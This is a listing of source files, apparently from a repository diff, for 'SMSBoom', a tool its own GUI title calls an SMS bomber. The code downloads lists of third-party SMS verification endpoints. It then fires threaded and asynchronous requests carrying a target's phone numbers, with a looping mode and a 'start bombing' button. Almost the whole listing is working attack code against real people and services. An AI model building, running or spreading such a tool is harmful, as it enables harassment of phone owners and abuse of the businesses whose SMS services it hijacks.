API_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/api.json"
logger.info(f"正在从GitHub拉取最新接口!")
try:
with httpx.Client(verify=False, timeout=10) as client:
# print(API_json_url)
GETAPI_json = client.get(
GETAPI_json_url, headers=default_header).content.decode(encoding="utf8")
api_json = client.get(
API_json_url, headers=default_header).content.decode(encoding="utf8")
except Exception as why:
logger.error(f"拉取更新失败:{why}请关闭所有代理软件多尝试几次!")
else:
with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a:
a.write(GETAPI_json)
with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a:
a.write(api_json)
logger.success(f"接口更新成功!")
@click.group()
def cli():
pass
cli.add_command(run)
cli.add_command(update)
cli.add_command(asyncRun)
cli.add_command(oneRun)
if __name__ == "__main__":
cli()

57
smsboom_GUI.py Normal file
View File

@@ -0,0 +1,57 @@
from tkinter import Tk, StringVar
from tkinter import ttk
class InputWidget(ttk.Frame):
"""输入框,确认框"""
def __init__(self, parent=None):
ttk.Frame.__init__(self, parent)
self.parent = parent
self.columnconfigure(0, weight=1)
self.rowconfigure(0, weight=1)
self.phone = StringVar()
self.createWidget()
for child in self.winfo_children():
child.grid_configure(padx=5, pady=5)
self.pack()
def createWidget(self):
"""InputWidget"""
ttk.Label(self, text="手机号:").grid(column=0, row=0, sticky='nsew')
ttk.Entry(self, textvariable=self.phone).grid(
column=1, row=0, columnspan=3, sticky='nsew')
ttk.Button(self, text="启动轰炸").grid(
column=4, row=0, sticky='nsew')
class Application(ttk.Frame):
"""APP main frame"""
def __init__(self, parent=None):
ttk.Frame.__init__(self, parent)
self.parent = parent
# 伸缩
self.columnconfigure(0, weight=1)
self.rowconfigure(0, weight=1)
self.createWidget()
# 间隔
for child in self.winfo_children():
child.grid_configure(padx=5, pady=5)
self.pack()
def createWidget(self):
"""Widget"""
input_wiget = InputWidget(self)
if __name__ == "__main__":
root = Tk()
root.title("SMSBoom - 短信轰炸机 ©落落")
root.columnconfigure(0, weight=1)
root.rowconfigure(0, weight=1)
Application(parent=root)
root.mainloop()

176
smsboom_pyinstall.py Executable file
View File

@@ -0,0 +1,176 @@
# encoding=utf8
# 短信测压主程序
import pathlib
import sys
from typing import List, Union
import click
import json
import httpx
from loguru import logger
from concurrent.futures import ThreadPoolExecutor
import time
import sys
import os
from utils import API, default_header
# logger config
logger.remove()
logger.add(
sink=sys.stdout,
format="<green>{time:YYYY-MM-DD at HH:mm:ss}</green> - <level>{level}</level> - <level>{message}</level>",
colorize=True,
backtrace=True
)
# current directory by pyinstall
path = os.path.dirname(os.path.realpath(sys.argv[0]))
def load_json() -> List[API]:
"""load json for api.json
:return: api list
"""
json_path = pathlib.Path(path, 'api.json')
if not json_path.exists():
logger.error("Json file not exists!")
# return None
raise ValueError
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
try:
datas = json.loads(j.read())
APIs = [
API(**data)
for data in datas
]
logger.success(f"api.json 加载完成 接口数:{len(APIs)}")
return APIs
except Exception as why:
logger.error(f"Json file syntax error:{why}")
# return None
raise ValueError
def load_getapi() -> list:
"""load GETAPI
:return:
"""
json_path = pathlib.Path(path, 'GETAPI.json')
if not json_path.exists():
logger.error("GETAPI.json file not exists!")
# return None
raise ValueError
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
try:
datas = json.loads(j.read())
logger.success(f"GETAPI加载完成,数目:{len(datas)}")
return datas
except Exception as why:
logger.error(f"Json file syntax error:{why}")
# return None
raise ValueError
def reqAPI(api: API, client: httpx.Client) -> httpx.Response:
if isinstance(api.data, dict):
resp = client.request(method=api.method, json=api.data,
headers=api.header, url=api.url)
else:
resp = client.request(method=api.method, data=api.data,
headers=api.header, url=api.url)
return resp
def req(api: Union[API, str], phone: tuple):
"""请求接口方法"""
# 多手机号支持
if isinstance(phone, tuple):
phone_lst = [_ for _ in phone]
else:
phone_lst = [phone]
with httpx.Client(headers=default_header, verify=False) as client:
for ph in phone_lst:
try:
if isinstance(api, API):
api = api.handle_API(ph)
resp = reqAPI(api, client)
logger.info(f"{api.desc}-{resp.text[:30]}")
else:
api = api.replace("[phone]", ph)
resp = client.get(url=api, headers=default_header)
logger.info(f"GETAPI接口-{resp.text[:30]}")
except httpx.HTTPError as why:
logger.error(f"{why.request.url}请求失败{why}")
@click.command()
@click.option("--thread", "-t", help="线程数(默认64)", default=64)
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
@click.option('--super', "-s", is_flag=True, help="循环模式")
@click.option('--interval', "-i", default=60, help="循环间隔时间(默认60s)", type=int)
def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = False):
"""传入线程数和手机号启动轰炸,支持多手机号"""
logger.info(f"循环模式:{super},手机号:{phone},线程数:{thread},循环间隔:{interval}")
with ThreadPoolExecutor(max_workers=thread) as pool:
try:
_api = load_json()
_api_get = load_getapi()
except ValueError:
logger.error("读取接口出错!正在重新下载接口数据!....")
update()
sys.exit(1)
i = 0
if super:
while True:
i += 1
logger.success(f"{i}波轰炸开始!")
for api in _api:
pool.submit(req, api, phone)
for api_get in _api_get:
pool.submit(req, api_get, phone)
logger.success(f"{i}波轰炸提交结束!休息{interval}s.....")
time.sleep(interval)
else:
for api in _api:
pool.submit(req, api, phone)
for api_get in _api_get:
pool.submit(req, api_get, phone)
@click.command()
@click.option("-p", "--proxy", help="[!!暂时弃用该选项!!]GitHub 代理镜像(默认github.do)", default="https://github.do/")
def update(proxy: str):
"""从 github 获取最新接口"""
GETAPI_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/GETAPI.json"
API_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/api.json"
logger.info(f"正在从GitHub拉取最新接口!")
try:
with httpx.Client(verify=False, timeout=10) as client:
# print(API_json_url)
GETAPI_json = client.get(GETAPI_json_url, headers=default_header).content.decode(encoding="utf8")
api_json = client.get(API_json_url, headers=default_header).content.decode(encoding="utf8")
except Exception as why:
logger.error(f"拉取更新失败:{why}请多尝试几次!")
else:
with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a:
a.write(GETAPI_json)
with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a:
a.write(api_json)
logger.success(f"接口更新成功!")
@click.group()
def cli():
pass
cli.add_command(run)
cli.add_command(update)
if __name__ == "__main__":
logger.info(f"当前脚本目录:{path}")
cli()

3
utils/__init__.py Normal file
View File

@@ -0,0 +1,3 @@
default_header = {
"User-Agent": "Mozilla/5.0 (Linux; U; Android 10; zh-cn; Mi 10 Build/QKQ1.191117.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40"
}

44
utils/log.py Normal file
View File

@@ -0,0 +1,44 @@
# encoding=utf8
# 日志模块
from loguru import logger
import pathlib
import sys
import os
# 终端日志输出格式
stdout_fmt = '{level.icon} <cyan>{time:HH:mm:ss,SSS}</cyan> ' \
'[<level>{level}</level>] ' \
'<cyan>{thread.name}</cyan> ' \
'<blue>{module}</blue>:<cyan>{line}</cyan> - ' \
'<level>{message}</level>'
# 日志文件记录格式
# logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
# '[<level>{level: <5}</level>] ' \
# '<cyan>{process.name}({process.id})</cyan>:' \
# '<cyan>{thread.name: <10}({thread.id: <5})</cyan> | ' \
# '<blue>{module}</blue>.<blue>{function}</blue>:' \
# '<blue>{line}</blue> - <level>{message}</level>'
logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
'[<level>{level}</level>] ' \
'<blue>{module}</blue>.<blue>{function}</blue>:' \
'<blue>{line}</blue> - <level>{message}</level>'
log_pathDir = pathlib.Path(os.getcwd()).resolve().joinpath('logs')
if not log_pathDir.is_dir():
log_pathDir.mkdir()
log_path = log_pathDir.joinpath('run.log').resolve()
logger.remove()
if not os.environ.get('PYTHONIOENCODING'): # 设置编码
os.environ['PYTHONIOENCODING'] = 'utf-8'
logger.add(sys.stderr, level='INFO', format=stdout_fmt, enqueue=True)
# 输出到文件
# logger.add(log_path, level='DEBUG', format=logfile_fmt,
# enqueue=True, encoding='utf-8')
if __name__ == "__main__":
logger.info("test")

53
utils/models.py Normal file
View File

@@ -0,0 +1,53 @@
# encoding=utf8
# 一些模型
from pydantic import BaseModel
from typing import Union, Optional
from datetime import datetime
import json
from utils import default_header
class API(BaseModel):
"""处理自定义 API 数据"""
desc: str = "Default"
url: str
method: str = "GET"
header: Optional[Union[str, dict]] = default_header
data: Optional[Union[str, dict]]
def replace_data(self, content: Union[str, dict], phone: str) -> str:
# 统一转换成 str 再替换. ' -> "
if phone:
content = str(content).replace("[phone]", phone).replace(
"[timestamp]", self.timestamp_new()).replace("'", '"')
# 尝试 json 化
try:
return json.loads(content.replace("'", '"'))
except:
return content
def timestamp_new(self) -> str:
"""返回整数字符串时间戳"""
return str(int(datetime.now().timestamp()))
def handle_API(self, phone: str=None):
""" 传入手机号处理 API
:param API: one API basemodel
:return: API basemodel
"""
# 仅仅当传入 phone 参数时添加 Referer
# fix: 这段代码很有问题.......
if phone:
# 进入的 header 是个字符串
if self.header == "":
self.header = {}
self.header['Referer'] = self.url # 增加 Referer
self.header = self.replace_data(self.header, phone)
if not self.header.get('Referer'):
self.header['Referer'] = self.url # 增加 Referer
self.data = self.replace_data(self.data, phone)
self.url = self.replace_data(self.url, phone)
# print(self)
return self

109
utils/req.py Normal file
View File

@@ -0,0 +1,109 @@
# encoding=utf8
# 请求的方法
import httpx
from httpx import Limits
from typing import Union, List
import asyncio
from utils import default_header
from utils.models import API
from utils.log import logger
def reqAPI(api: API, client: Union[httpx.Client, httpx.AsyncClient]) -> httpx.Response:
if isinstance(api.data, dict):
resp = client.request(method=api.method, json=api.data,
headers=api.header, url=api.url, timeout=10)
else:
resp = client.request(method=api.method, data=api.data,
headers=api.header, url=api.url, timeout=10)
return resp
def reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool:
"""请求接口方法"""
# 多手机号支持
if isinstance(phone, tuple):
phone_lst = [_ for _ in phone]
else:
phone_lst = [phone]
with httpx.Client(headers=default_header, verify=False) as client:
for ph in phone_lst:
try:
if isinstance(api, API):
api = api.handle_API(ph)
resp = reqAPI(api, client)
logger.info(f"{api.desc}-{resp.text[:30]}")
else:
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
resp = client.get(url=api, headers=default_header)
logger.info(f"GETAPI接口-{resp.text[:30]}")
return True
except httpx.HTTPError as why:
logger.error(f"请求失败{why}")
return False
async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore):
"""异步请求方法
:param:
:return:
"""
# 多手机号支持
if isinstance(phone, tuple):
phone_lst = [_ for _ in phone]
else:
phone_lst = [phone]
async with semaphore:
async with httpx.AsyncClient(
limits=Limits(max_connections=1000,
max_keepalive_connections=2000),
headers=default_header,
verify=False,
timeout=99999
) as c:
for ph in phone_lst:
try:
if isinstance(src, API):
src = src.handle_API(ph)
r = await reqAPI(src, c)
else:
# 利用元组传参安全因为元组不可修改
s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace(
"&amp;", "").replace('\n', '').replace('\r', ''),)
r = await c.get(*s)
return r
except httpx.HTTPError as why:
logger.error(f"异步请求失败{type(why)}")
# logger.error(f"异步请求失败{why}")
# import aiofiles
# async with aiofiles.open("error.txt","a",encoding="utf-8") as f:
# await f.write(f"{str(s[0]) if str(s[0]) else str(src)}\n")
except TypeError:
logger.error("类型错误")
except Exception as wy:
logger.exception(f"异步失败{wy}")
def callback(result):
"""异步回调函数"""
log = result.result()
if log is not None:
logger.info(f"请求结果:{log.text[:30]}")
async def runAsync(apis: List[Union[API,str]], phone: Union[tuple, str]):
tasks = []
for api in apis:
semaphore = asyncio.Semaphore(999999)
task = asyncio.ensure_future(asyncReqs(api, phone, semaphore))
task.add_done_callback(callback)
tasks.append(task)
await asyncio.gather(
*tasks
)

65
utils/sql.py Normal file
View File

@@ -0,0 +1,65 @@
# encoding=utf8
# 读写sqlite数据库
from pathlib import Path
from utils.log import logger
import sqlite3
class Sql(object):
"""处理SQL数据"""
def __init__(self, db_path: Path) -> None:
'''初始化数据库'''
# 数据库路径
# db_path = Path.cwd().joinpath("api.db")
# 连接数据库,不检查是否在同一个线程.
self.client = sqlite3.connect(
db_path, timeout=6, check_same_thread=False)
self.cursor = self.client.cursor()
self.newTable()
def newTable(self):
'''初始化表结构'''
sql = '''
CREATE TABLE IF NOT EXISTS API200 (
id INT NULL,
url TEXT NOT NULL,
primary key (url)
);
'''
self.cursor.execute(sql)
self.client.commit()
def update(self, url):
'''插入数据'''
sql = '''
INSERT INTO API200 (ID,url) VALUES (null,?)
'''
try:
self.cursor.execute(sql, (url,))
self.client.commit()
logger.success("插入成功!")
return True
except sqlite3.IntegrityError:
logger.error(f"数据重复!")
return False
def select(self) -> list:
'''获取所有接口'''
sql = '''
SELECT url FROM API200;
'''
try:
self.cursor.execute(sql)
result = self.cursor.fetchall()
urls = []
for url in result:
urls.append(url[0])
return urls
except Exception as e:
logger.error('读取出现错误!', e)
def __del__(self) -> None:
'''对象被删除时执行的函数'''
logger.info(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......")
self.client.close()